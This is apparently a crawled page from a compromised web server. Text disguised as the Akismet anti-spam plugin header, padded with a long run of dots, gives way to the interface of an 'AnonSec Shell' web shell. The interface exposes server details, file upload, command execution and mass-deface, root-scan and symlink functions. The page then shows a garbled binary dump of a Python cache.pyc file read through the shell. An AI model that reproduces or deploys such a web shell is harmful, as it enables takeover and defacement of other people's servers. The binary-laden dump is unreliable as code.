#/** * @package Akismet */ /* Plugin Name: Akismet Anti-spam: Spam Protection Plugin URI: https://akismet.com/ Description: Used by millions, Akismet is quite possibly the best way in the world to protect your blog from spam. Akismet Anti-spam keeps your site protected even while you sleep. To get started: activate the Akismet plugin and then go to your Akismet Settings page to set up your API key. Version: 5.4 Requires at least: 5.8 Requires PHP: 7.2 Author: Automattic - Anti-spam Team Author URI: https://automattic.com/wordpress-plugins/ License: GPLv2 or later Text Domain: akismet */ /* This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. Copyright 2005-2025 Automattic, Inc. */ // Make sure we don't expose any info if called directly . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . AnonSec Shell
AnonSec Shell
Server IP : 62.109.13.187  /  Your IP : 216.73.216.11   [ Reverse IP ]
Web Server : Apache/2.4.6 (CentOS) mpm-itk/2.4.7-04 OpenSSL/1.0.2k-fips PHP/8.2.28
System : Linux robothost.ru 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : mosrembit ( 6064)
PHP Version : 8.2.28
Disable Function : NONE
Domains : 0 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /lib64/python2.7/site-packages/subscription_manager/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /lib64/python2.7/site-packages/subscription_manager/cache.pyc
�
L��ec@`s�ddlmZmZmZddlZddlZddlZddlZddlZddl	m
Z
ddlmZddl
jZddlmZddljZddlmZddlmZddlmZdd	lmZdd
lmZmZddl m!Z"ej#e$�Z%dZ&ej'e��Z(d
e)fd��YZ*de*fd��YZ+de+fd��YZ,de+fd��YZ-de+fd��YZ.de+fd��YZ/de+fd��YZ0de*fd��YZ1de*fd��YZ2de+fd ��YZ3d!e)fd"��YZ4d#e)fd$��YZ5d%e*fd&��YZ6d'e*fd(��YZ7d)e*fd*��YZ8d+e8fd,��YZ9d-e8fd.��YZ:dS(/i(tprint_functiontdivisiontabsolute_importN(tssl(t
initConfig(tget_profile(tPoolWrapper(tourjson(t
parse_date(tget_supported_resources(tconfigt
syspurpose(tugettexttpackagestCacheManagercB`s�eZdZdZd�Zd�Zd�Zd�Ze	d��Z
d�Zd�Ze
d�Zd	�Zd
�Zed�ZRS(
s�
    Parent class used for common logic in a number of collections
    where we need to push some consumer JSON up to the server,
    maintain a local cache of that data, and check if anything has
    changed on subsequent runs.
    cC`s
t�dS(sb
        Returns the data for this collection as a dict to be serialized
        as JSON.
        N(tNotImplementedError(tself((s@/usr/lib64/python2.7/site-packages/subscription_manager/cache.pytto_dict=scC`s
t�dS(su
        Load the data in whatever format the sub-class uses from
        an already opened file descriptor.
        N(R(Rt	open_file((s@/usr/lib64/python2.7/site-packages/subscription_manager/cache.pyt
_load_dataDscO`s
t�dS(s:
        Sync the latest data to/from the server.
        N(R(Rtuept
consumer_uuidtargstkwargs((s@/usr/lib64/python2.7/site-packages/subscription_manager/cache.pyt_sync_with_serverKscC`s
t�dS(sf
        Check if the current system data has changed since the last time we
        updated.
        N(R(R((s@/usr/lib64/python2.7/site-packages/subscription_manager/cache.pythas_changedQscC`s@tjj|j�r<tjd|j�tj|j�ndS(s1 Delete the cache for this collection from disk. sDeleting cache: %sN(tostpathtexistst
CACHE_FILEtlogtdebugtremove(tcls((s@/usr/lib64/python2.7/site-packages/subscription_manager/cache.pytdelete_cacheXscC`stjj|j�S(N(RRRR(R((s@/usr/lib64/python2.7/site-packages/subscription_manager/cache.pyt
_cache_exists_scC`s
|j�S(N(R#(R((s@/usr/lib64/python2.7/site-packages/subscription_manager/cache.pyRbscC`s�y�tjtjj|j�tj�sFtjtjj|j��nt|jd�}tj	|j
�|dtj�|j�|r�t
jd|j�nWn4tk
r�}t
jd|j�t
j|�nXdS(sw
        Write the current cache to disk. Should only be done after
        successful communication with the server.

        The update_check method will call this for you if an update was
        required, but the method is exposed as some system data can be
        bundled up with the registration request, after which we need to
        manually write to disk.
        sw+tdefaultsWrote cache: %ssUnable to write cache: %sN(RtaccessRtdirnameRtR_OKtmakedirstopentjsontdumpRtencodetcloseRRtIOErrorterrort	exception(RRtfterr((s@/usr/lib64/python2.7/site-packages/subscription_manager/cache.pytwrite_cachees$
cC`s{y0t|j�}|j|�}|j�|SWnDtk
rf}tjd|j�tj|�ntk
rvnXdS(si
        Load the last data we sent to the server.
        Returns none if no cache file exists.
        sUnable to read cache: %sN(	R)RRR-R.RR/R0t
ValueError(RR1tdataR2((s@/usr/lib64/python2.7/site-packages/subscription_manager/cache.pyt_read_cache|s

cC`s2|j�r|j�Stjd|j�dSdS(si
        Try to read only cached data. When cache does not exist,
        then None is returned.
        sCache file %s does not existN(R#R6RRRtNone(R((s@/usr/lib64/python2.7/site-packages/subscription_manager/cache.pytread_cache_only�s
cC`s�|s3td�||jjf}tj|�dStjd|j�|j�sY|r�tjd�y"|j||�|j�dSWq�t	j
k
r�}|�q�tk
r�}tjd�tj
|�ttd���q�Xntjd�dSd	S(
sF
        Check if data has changed, and push an update if so.
        s[consumer_uuid=%s is not a valid consumer_uuid. Not attempting to sync %s cache with server.is.Checking current system info against cache: %ss)System data has changed, updating server.is(Error updating system data on the serversVError updating system data on the server, see /var/log/rhsm/rhsm.log for more details.sNo changes.N(t_t	__class__t__name__RRRRRR3t
connectiontRestlibExceptiont	ExceptionR/R0(RRRtforcetmsgtrete((s@/usr/lib64/python2.7/site-packages/subscription_manager/cache.pytupdate_check�s(	


	


N(R;t
__module__t__doc__R7RRRRRtclassmethodR"R#RtTrueR3R6R8tFalseRC(((s@/usr/lib64/python2.7/site-packages/subscription_manager/cache.pyR2s								tStatusCachecB`seeZdZd�Zd
d�Zd�Zd�Zd�Zd�Z	d
d�Z
d�Zd	�ZRS(se
    Unlike other cache managers, this one gets info from the server rather
    than sending it.
    cC`sd|_d|_dS(N(R7t
server_statust
last_error(R((s@/usr/lib64/python2.7/site-packages/subscription_manager/cache.pyt__init__�s	cC`s�y1|j|||�|j�t|_|jSWnItjk
rm}tj|�||_tj	d�dStjk
r�}tj	d�tj|�||_dStj
k
r�}tj|�||_tj	d�dStjtjtj	tjfk
rP}tj	|�||_|j�s9tj	d�dStjd�|j�Stjk
r|}tj|�||_dSXdS(sM
        Load status from wherever is appropriate.

        If server is reachable, return it's response
        and cache the results to disk.

        If the server is not reachable, return the latest cache if
        it is still reasonable to use it.

        Returns None if we cannot reach the server, or use the cache.
        sConsumer certificate is invalids>Could not authenticate with server, check registration status.s)Bad identity, unable to connect to servers4Server unreachable, registered, but no cache exists.s,Unable to reach server, using cached status.N(RR3RHRKRJRtSSLErrorRR0R/R7R<tAuthenticationExceptiontExpiredIdentityCertExceptiontConnectionExceptiontRateLimitExceededExceptiontsockettProxyExceptionR#twarnR6R=(RRtuuidton_datetex((s@/usr/lib64/python2.7/site-packages/subscription_manager/cache.pytload_status�sB
	
	


	
	


	



	cC`s|jS(N(RJ(R((s@/usr/lib64/python2.7/site-packages/subscription_manager/cache.pyR�scC`s|j�}tj|�S(N(treadR*tloads(RRtjson_str((s@/usr/lib64/python2.7/site-packages/subscription_manager/cache.pyRscC`sY|jdkr>tjd|j�tt|�j�|_ntjd|j�|jS(s�
        Prefer in memory cache to avoid io.  If it doesn't exist, save
        the disk cache to the in-memory cache to avoid reading again.
        s"Trying to read status from %s files.Reading status from in-memory cache of %s fileN(RJR7RRRtsuperRIR6(R((s@/usr/lib64/python2.7/site-packages/subscription_manager/cache.pyR6s
cC`s&|jdk	rtStt|�j�S(s{
        If a cache exists in memory, we have written it to the disk
        No need for unnecessary disk io here.
        N(RJR7RGR\RIR#(R((s@/usr/lib64/python2.7/site-packages/subscription_manager/cache.pyR#scC`sE|jdkr*|j|||�|_ntjd|j�|jS(s�
        Return status, from cache if it exists, otherwise load_status
        and write cache and return it.

        If load_status fails, we return it's return value. For
        a fail with a cache, it will be the cached values. Otherwise
        it will be None.

        Methods calling this should handle the None, likely by
        using a default value instead of calling it again. If there is
        no default, the None likely indicates an error needs to be raised.
        s.Reading status from in-memory cache of %s fileN(RJR7RXRRR(RRRURV((s@/usr/lib64/python2.7/site-packages/subscription_manager/cache.pytread_statusscC`sStjdtt|�jdtgdd|jj�j�t	j
d|j�dS(s�
        This is threaded because it should never block in runtime.
        Writing to disk means it will be read from memory for the rest of this run.
        ttargetRtnamesWriteCache%sThreads!Started thread to write cache: %sN(t	threadingtThreadR\RIR3RGR:R;tstartRRR(R((s@/usr/lib64/python2.7/site-packages/subscription_manager/cache.pyR3/s	cC`s tt|�j�d|_dS(N(R\RIR"R7RJ(R((s@/usr/lib64/python2.7/site-packages/subscription_manager/cache.pyR":sN(
R;RDRERLR7RXRRR6R#R]R3R"(((s@/usr/lib64/python2.7/site-packages/subscription_manager/cache.pyRI�s	3						tEntitlementStatusCachecB`s eZdZdZdd�ZRS(s�
    Manages the system cache of entitlement status from the server.
    Unlike other cache managers, this one gets info from the server rather
    than sending it.
    s+/var/lib/rhsm/cache/entitlement_status.jsoncO`s|j||�|_dS(N(t
getComplianceRJ(RRRURVRR((s@/usr/lib64/python2.7/site-packages/subscription_manager/cache.pyRGsN(R;RDRERR7R(((s@/usr/lib64/python2.7/site-packages/subscription_manager/cache.pyRc?stSyspurposeComplianceStatusCachecB`sDeZdZdZdd�Zd�Zd�Zd�Zd�Z	RS(s�
    Manages the system cache of system purpose compliance status from the server.
    Unlike other cache managers, this one gets info from the server rather
    than sending it.
    s5/var/lib/rhsm/cache/syspurpose_compliance_status.jsoncO`s+tj|�|_|jj|�|_dS(N(Rt
Syspurposetsyspurpose_servicetget_syspurpose_statusRJ(RRRURVRR((s@/usr/lib64/python2.7/site-packages/subscription_manager/cache.pyRSscC`s<|jdk	r8|jddkr8tt|�j�ndS(Ntstatustunknown(RJR7R\ReR3(R((s@/usr/lib64/python2.7/site-packages/subscription_manager/cache.pyR3Ws"cC`s:|jdk	r&|jj|jd�S|jjd�SdS(NRiRj(RJR7Rgtget_overall_status(R((s@/usr/lib64/python2.7/site-packages/subscription_manager/cache.pyRk[scC`s|jdk	r|jSdSdS(NRj(RJR7(R((s@/usr/lib64/python2.7/site-packages/subscription_manager/cache.pytget_overall_status_codeascC`s1|jdk	r)d|jkr)|jdSdSdS(Ntreasons(RJR7(R((s@/usr/lib64/python2.7/site-packages/subscription_manager/cache.pytget_status_reasonsgsN(
R;RDRERR7RR3RkRlRn(((s@/usr/lib64/python2.7/site-packages/subscription_manager/cache.pyReKs			tProductStatusCachecB`seZdZdZd�ZRS(sJ
    Manages the system cache of installed product valid date ranges.
    s'/var/lib/rhsm/cache/product_status.jsoncO`s<|j|�}d|kr+tjd�n
|d|_dS(NtinstalledProductss,Server does not support product date ranges.(tgetConsumerRtwarningRJ(RRRURRt
consumer_data((s@/usr/lib64/python2.7/site-packages/subscription_manager/cache.pyRts(R;RDRERR(((s@/usr/lib64/python2.7/site-packages/subscription_manager/cache.pyRonstOverrideStatusCachecB`seZdZdZd�ZRS(sD
    Manages the cache of yum repo overrides set on the server.
    s*/var/lib/rhsm/cache/content_overrides.jsoncO`s|j|�|_dS(N(tgetContentOverridesRJ(RRRRR((s@/usr/lib64/python2.7/site-packages/subscription_manager/cache.pyR�s(R;RDRERR(((s@/usr/lib64/python2.7/site-packages/subscription_manager/cache.pyRt}stReleaseStatusCachecB`seZdZdZd�ZRS(sT
    Manages the cache of the consumers 'release' setting applied to yum repos.
    s#/var/lib/rhsm/cache/releasever.jsonc`s"�fd�}||�|_dS(Nc`s
�j|�S(N(t
getRelease(RU(R(s@/usr/lib64/python2.7/site-packages/subscription_manager/cache.pytget_release�s(RJ(RRRRRRx((Rs@/usr/lib64/python2.7/site-packages/subscription_manager/cache.pyR�s(R;RDRERR(((s@/usr/lib64/python2.7/site-packages/subscription_manager/cache.pyRv�stProfileManagercB`s�eZdZdZd�Zd�Zd�Zed��Ze	d��Z
e
jd��Z
d�Zd	�Z
ed
�Zd�Zd�ZRS(
sQ
    Manages profile of installed packages, enabled repositories and plugins
    s /var/lib/rhsm/cache/profile.jsoncC`s1d|_|j�|_tjtj�|_dS(N(R7t_current_profiletprofile_reporting_enabledtreport_package_profiletinjtrequiretIDENTITYtidentity(R((s@/usr/lib64/python2.7/site-packages/subscription_manager/cache.pyRL�s	cC`sCdtjkr,tjdj�d	kr,tStdjd�dkS(
Nt SUBMAN_DISABLE_PROFILE_REPORTINGttruet1tyestontrhsmR|i(R�R�syesR�(RtenvirontlowerRHtconftget_int(R((s@/usr/lib64/python2.7/site-packages/subscription_manager/cache.pyR{�scC`s
t|�S(N(R(Rtprofile_type((s@/usr/lib64/python2.7/site-packages/subscription_manager/cache.pyt_get_profile�scC`si|d6|d6|d6}|S(Ntrpmt
enabled_repostmodulemd((trpm_profiletenabled_repos_profiletmodule_profiletcombined_profile((s@/usr/lib64/python2.7/site-packages/subscription_manager/cache.pyt_assembly_profile�s

cC`sg|js`td�j�}td�j�}td�j�}|j|||�}||_n|jS(NR�R�R�(RzRtcollectR�(RR�R�R�R�((s@/usr/lib64/python2.7/site-packages/subscription_manager/cache.pytcurrent_profile�s	cC`s
||_dS(N(Rz(Rtnew_profile((s@/usr/lib64/python2.7/site-packages/subscription_manager/cache.pyR��scC`s|jS(N(R�(R((s@/usr/lib64/python2.7/site-packages/subscription_manager/cache.pyR�scC`s|j�}tj|�S(N(RYR*RZ(RRR[((s@/usr/lib64/python2.7/site-packages/subscription_manager/cache.pyR�scC`s|tddd|j�}t|kr5tjd�dS|sD|jrZtj||||�S|jsttjd�dSdSdS(sK
        Check if packages have changed, and push an update if so.
        RR�s:Server does not support packages, skipping profile upload.isFSkipping package profile upload due to report_package_profile setting.N(	R	R7R�tPACKAGES_RESOURCERRrR|RRC(RRRR?tsupported_resources((s@/usr/lib64/python2.7/site-packages/subscription_manager/cache.pyRC�s
	
cC`s>|j�s$tjd|j�tS|j�}||jkS(NsCache file %s does not exist(R#RRRRGR6R�(Rtcached_profile((s@/usr/lib64/python2.7/site-packages/subscription_manager/cache.pyR�s
cO`s�|j}|jd�rpidd6|dd6idd6|dd6idd6|dd6g}|j||�n|j||d�dS(s�
        This method has to be able to sync combined profile, when server supports this functionality
        and it also has to be able to send only profile containing list of installed RPMs.
        tcombined_reportingR�tcontent_typetprofileR�R�N(R�thas_capabilitytupdateCombinedProfiletupdatePackageProfile(RRRRRR�t_combined_profile((s@/usr/lib64/python2.7/site-packages/subscription_manager/cache.pyR�s"	
(R;RDRERRLR{R�tstaticmethodR�tpropertyR�tsetterRRRHRCRR(((s@/usr/lib64/python2.7/site-packages/subscription_manager/cache.pyRy�s		
		
			tInstalledProductsManagercB`steZdZdZd�Zd�Zd�Zeee�Zd�Z	d�Z
d�Zd�Zd	�Z
d
�ZRS(sn
    Manages the cache of the products installed on this system, and what we
    last sent to the server.
    s+/var/lib/rhsm/cache/installed_products.jsoncC`s5d|_d|_tjtj�|_|j�dS(N(R7t
_installedttagsR}R~tPROD_DIRtproduct_dirt_setup_installed(R((s@/usr/lib64/python2.7/site-packages/subscription_manager/cache.pyRLs		cC`s!|jr|jS|j�|jS(N(R�R�(R((s@/usr/lib64/python2.7/site-packages/subscription_manager/cache.pyt_get_installeds	
cC`s
||_dS(N(R�(Rtvalue((s@/usr/lib64/python2.7/site-packages/subscription_manager/cache.pyt_set_installed&scC`si|jd6|jd6S(NtproductsR�(t	installedR�(R((s@/usr/lib64/python2.7/site-packages/subscription_manager/cache.pyR+scC`s|j�}tj|�S(N(RYR*RZ(RRR[((s@/usr/lib64/python2.7/site-packages/subscription_manager/cache.pyR.scC`s�|j�s$tjd|j�tS|j�}y|d}t|d�}Wntk
rbtSX|j�t	t
|j���t	t
|jj���kr�tS||jkr�tS||j
kr�tStS(NsCache file %s does not existR�R�(R#RRRRGR6tsettKeyErrorR�tlentlisttkeysR�R�RH(RtcachedR�R�((s@/usr/lib64/python2.7/site-packages/subscription_manager/cache.pyR2s"


3cC`s�i|_t�|_x}|jj�D]l}|jd}|jt|j�O_i|jd6|jd6|j	d6dj
|j�d6|j|j<q%WdS(sg
        Format installed product data to match the cache
        and what the server can use.
        it	productIdtproductNametversiont,tarchN(R�R�R�R�R�R�t
provided_tagstidR_R�tjoint
architectures(Rt	prod_certtprod((s@/usr/lib64/python2.7/site-packages/subscription_manager/cache.pyR�Ls	



cC`s<|j�gt|jj��D]\}}|^q }|S(s�
        Convert the format we store in this object (which is a little
        easier to work with) into the format the server expects for the
        consumer.
        (R�R�R�titems(Rtkeytvaltfinal((s@/usr/lib64/python2.7/site-packages/subscription_manager/cache.pytformat_for_server\s
.cO`s&|j|d|j�d|j�dS(Ntinstalled_productstcontent_tags(tupdateConsumerR�R�(RRRRR((s@/usr/lib64/python2.7/site-packages/subscription_manager/cache.pyRfs(R;RDRERRLR�R�R�R�RRRR�R�R(((s@/usr/lib64/python2.7/site-packages/subscription_manager/cache.pyR�s								
tPoolStatusCachecB`seZdZdZd�ZRS(s+
    Manages the system cache of pools
    s$/var/lib/rhsm/cache/pool_status.jsoncO`s|j|�|_dS(N(tgetEntitlementListRJ(RRRURR((s@/usr/lib64/python2.7/site-packages/subscription_manager/cache.pyRrs(R;RDRERR(((s@/usr/lib64/python2.7/site-packages/subscription_manager/cache.pyR�lst
PoolTypeCachecB`sMeZdZd�Zd�Zd�Zd�Zd�Zd�Zd�Z	RS(s
    Cache type of pool
    cC`sktjtj�|_tjtj�|_tjtj�|_tjtj�|_	i|_
|j�dS(N(R}R~RR�tCP_PROVIDERtcp_providertENT_DIRtent_dirtPOOL_STATUS_CACHEt
pool_cachetpooltype_maptupdate(R((s@/usr/lib64/python2.7/site-packages/subscription_manager/cache.pyRL{s	cC`s|jj|d�S(Nt(R�tget(Rtpool_id((s@/usr/lib64/python2.7/site-packages/subscription_manager/cache.pyR��scC`s|j�r|j�ndS(N(trequires_updatet
_do_update(R((s@/usr/lib64/python2.7/site-packages/subscription_manager/cache.pyR��scC`s`tg|jj�D]'}|jr|jjr|jj^q�}|t|j�}t|�S(N(R�R�R�tpoolR�R�tbool(Rtenttattached_pool_idst
missing_types((s@/usr/lib64/python2.7/site-packages/subscription_manager/cache.pyR��s*cC`s�i}|jj�r�|jj|jj�|jj�|jj}|dk	r�xE|D]:}t	|j
di��}|j�}|||j�<qVWq�n|j
j|�dS(NR�(R�tis_validR�RXR�tget_consumer_auth_cpRURJR7RR�t
get_pool_typetget_idR�R�(Rtresulttentitlement_listR�R�t	pool_type((s@/usr/lib64/python2.7/site-packages/subscription_manager/cache.pyR��s

cC`s2x+|D]#}t||�j�|j|<qWdS(N(RR�R�(Rtpool_mapR�((s@/usr/lib64/python2.7/site-packages/subscription_manager/cache.pytupdate_from_pools�s
cC`s
i|_dS(N(R�(R((s@/usr/lib64/python2.7/site-packages/subscription_manager/cache.pytclear�s(
R;RDRERLR�R�R�R�R�R�(((s@/usr/lib64/python2.7/site-packages/subscription_manager/cache.pyR�vs						tContentAccessCachecB`s_eZdZd�Zd	d�Zd�Zd�Zd�Ze	d��Z
d�Zd�ZRS(
s'/var/lib/rhsm/cache/content_access.jsoncC`s.tjtj�|_tjtj�|_dS(N(R}R~R�R�RR�(R((s@/usr/lib64/python2.7/site-packages/subscription_manager/cache.pyRL�scC`s�|jj�}y|j|jjd|�}Wn'tjk
rW}tjd|�dSX|dkspd|krtdS|j
|�|SdS(Ntif_modified_sinces.Unable to query for content access updates: %stcontentListing(R�R�tgetAccessibleContentR�RUR<R=RRrR7t
_update_cache(RR�RtresponseR2((s@/usr/lib64/python2.7/site-packages/subscription_manager/cache.pyt_query_for_update�s
cC`stjj|j�S(N(RRRR(R((s@/usr/lib64/python2.7/site-packages/subscription_manager/cache.pyR�scC`stj|j�S(N(RR R(R((s@/usr/lib64/python2.7/site-packages/subscription_manager/cache.pyR �scC`s�d}|j�r�y)tj|j��}t|d�}Wq�ttfk
r~}tj	dj
d|jd|��d}q�Xnd}|jd|�}|dk	r�||kr�tj	d�dS|S(Nt
lastUpdates%Cache file {file} is corrupted: {err}tfileR2R�s)Content access certificate is up-to-date.(
R7RR*RZRYRR4R�RRtformatRR�(RR5tlast_updateR2R�((s@/usr/lib64/python2.7/site-packages/subscription_manager/cache.pytcheck_for_update�s 	


c	C`s�|dkrdS|ddks9t|j�|dkrQtjd|j�dSt|jd��H}dj|dt|j��}tjd|j�|j	|�WdQXdS(NR�sACert serial %s not contained in content listing; not updating it.twR�s(Updating certificate %s with new content(
R7tstrtserialRRrR)RR�Rtwrite(tcertR5toutputtupdated_cert((s@/usr/lib64/python2.7/site-packages/subscription_manager/cache.pytupdate_cert�s) cC`sBtjd�t|jd��}|jtj|��WdQXdS(NsUpdating content access cacheR�(RRR)RR�R*tdumps(RR5tcache((s@/usr/lib64/python2.7/site-packages/subscription_manager/cache.pyR��s
cC`s)t|jd��}|j�SWdQXdS(Ntr(R)RRY(RR�((s@/usr/lib64/python2.7/site-packages/subscription_manager/cache.pyRY�sN(
R;RDRRLR7R�RR R�R�R�R�RY(((s@/usr/lib64/python2.7/site-packages/subscription_manager/cache.pyR��s	
				t
RhsmIconCachecB`s2eZdZdZdd�Zd�Zd�ZRS(s�
    Cache to keep track of last status returned by the StatusCache.
    This cache is specifically used to ensure RHSM icon pops up only
    when the status changes.
    s"/var/lib/rhsm/cache/rhsm_icon.jsoncC`s|p	i|_dS(N(R5(RR5((s@/usr/lib64/python2.7/site-packages/subscription_manager/cache.pyRL�scC`s|jS(N(R5(R((s@/usr/lib64/python2.7/site-packages/subscription_manager/cache.pyR�scC`sty)tj|j��pi|_|jSWnDtk
r_}tjd|j�tj|�nt	k
ronXdS(NsUnable to read cache: %s(
R*RZRYR5R.RR/RR0R4(RRR2((s@/usr/lib64/python2.7/site-packages/subscription_manager/cache.pyR�s
N(R;RDRERR7RLRR(((s@/usr/lib64/python2.7/site-packages/subscription_manager/cache.pyR��s
	tWrittenOverrideCachecB`s2eZdZdZdd�Zd�Zd�ZRS(s�
    Cache to keep track of the overrides used last time the a redhat.repo
    was written.  Doesn't track server status, we've got another cache for
    that.
    s*/var/lib/rhsm/cache/written_overrides.jsoncC`s|p	i|_dS(N(t	overrides(RR((s@/usr/lib64/python2.7/site-packages/subscription_manager/cache.pyRLscC`s|jS(N(R(R((s@/usr/lib64/python2.7/site-packages/subscription_manager/cache.pyRscC`sty)tj|j��pi|_|jSWnDtk
r_}tjd|j�tj|�nt	k
ronXdS(NsUnable to read cache: %s(
R*RZRYRR.RR/RR0R4(RRR2((s@/usr/lib64/python2.7/site-packages/subscription_manager/cache.pyRs
N(R;RDRERR7RLRR(((s@/usr/lib64/python2.7/site-packages/subscription_manager/cache.pyRs
	t
ConsumerCachecB`s_eZdZdZiZdZdd�Zd�Zd�Z	d�Z
d�Zddd�ZRS(sR
    Base class for caching data that gets automatically obsoleted, when consumer uuid
    is changed (when system is unregistered or system is force register). This cache
    is intended for caching information that we try to get from server. This cache should
    avoid calling REST API with same arguments and getting same result.
    cC`s|p	i|_dS(N(R5(RR5((s@/usr/lib64/python2.7/site-packages/subscription_manager/cache.pyRL:scC`s|jS(N(R5(R((s@/usr/lib64/python2.7/site-packages/subscription_manager/cache.pyR=scC`sty)tj|j��pi|_|jSWnDtk
r_}tjd|j�tj|�nt	k
ronXdS(NsUnable to read cache: %s(
R*RZRYR5R.RR/RR0R4(RRR2((s@/usr/lib64/python2.7/site-packages/subscription_manager/cache.pyR@s
cO`s
t�dS(s�
        This method has to be implemented in sub-classes of this class
        :param uep: object representing connection to candlepin server
        :param consumer_uuid: consumer UUID object
        :param args: other position arguments
        :param kwargs: other keyed arguments
        :return: Subclass method has to return the content that was returned by candlepin server.
        N(R(RRRRR((s@/usr/lib64/python2.7/site-packages/subscription_manager/cache.pyRKs	cO`stS(s�
        Another method for checking if cached file is obsoleted
        :param args: positional arguments
        :param kwargs: keyed arguments
        :return: True if the cache is obsoleted; otherwise return False
        (RH(RRR�RR((s@/usr/lib64/python2.7/site-packages/subscription_manager/cache.pyt_is_cache_obsoletedVscC`sl|j}|dkr*tjtj�}n|jdkrG|j�|S|j||�}|jdk	r�t	j
j|j�r�t	j
j
|j�}tj�}||}||jkr�tjd|j|jf�t}q�q�n|tkr`tjd|jj|jf�|j�}|dk	r`|j|krF||j}q]tjd|j�q`nt|�dkr�tjd|j�n�|dkr�tjtj�}	|	j�}ntjd|j�y|jd|d|j�}WnStjk
r>}
tjd	|j|
f�tjd
|j�|j�|
�n*Xi||j6}||_|jdt�|S(
s�
        This function tries to get data from cache or server
        :param uep: connection to candlepin server
        :param identity: current identity of registered system
        :return: information about current owner
        s(Validity of cache file %s timed out (%d)s$Trying to read %s from cache file %ss>Identity of system has changed. The cache file: %s is obsoleteisData loaded from cache file: %ssGetting data from server for %sRRs,Unable to get data for %s using REST API: %ssDeleting cache file: %sRN(t
DEFAULT_VALUER7R}R~RRUR"RtTIMEOUTRRRRtgetmtimettimeRRRGRHR:R;R8R�R�R�RR<R=RrR5R3(RRR�tcurrent_datatcache_file_obsoletedtmod_timetcur_timetdiffR5R�trest_err((s@/usr/lib64/python2.7/site-packages/subscription_manager/cache.pyt	read_data_sN	

 

	N(
R;RDRER7RRRRLRRRRR(((s@/usr/lib64/python2.7/site-packages/subscription_manager/cache.pyR's					tSupportedResourcesCachecB`s5eZdZdZgZdZdd�Zd�ZRS(	sL
    Cache supported resources of candlepin server for current identity
    s,/var/lib/rhsm/cache/supported_resources.jsoni<icC`stt|�jd|�dS(NR5(R\RRL(RR5((s@/usr/lib64/python2.7/site-packages/subscription_manager/cache.pyRL�scO`s
|j�S(N(R	(RRRR((s@/usr/lib64/python2.7/site-packages/subscription_manager/cache.pyR�sii�QN(	R;RDRERRRR7RLR(((s@/usr/lib64/python2.7/site-packages/subscription_manager/cache.pyR�stContentAccessModeCachecB`s8eZdZdZdZd	d�Zd�Zd�ZRS(
s�
    Cache information about current owner (organization), specifically, the content access mode.
    This value is used independently.
    i<is,/var/lib/rhsm/cache/content_access_mode.jsoncC`stt|�jd|�dS(NR5(R\RRL(RR5((s@/usr/lib64/python2.7/site-packages/subscription_manager/cache.pyRL�scO`sYy|j|�}Wntk
r3tjd�n"Xd|krH|dStjd�dS(Ns_Error checking for content access mode,defaulting to assuming not in Simple Content Access modetcontentAccessModes�The owner returned from the server did not contain a 'content_access_mode'. Perhaps the connected Entitlement Server doesn'tsupport 'content_access_mode'?Rj(tgetOwnerR>RR(RRRRRt
current_owner((s@/usr/lib64/python2.7/site-packages/subscription_manager/cache.pyR�s

cO`s�|dkr-tjtj�}|j�}nt|jd�r�|jjdkrhtj	d|j
�tS|jjtkr~tStj	d|j
�tSntSdS(se
        We don't know if the cache is valid until we get valid response
        :param uep: object representing connection to candlepin server
        :param identity: consumer identity
        :param args: other arguments
        :param kwargs: other keyed arguments
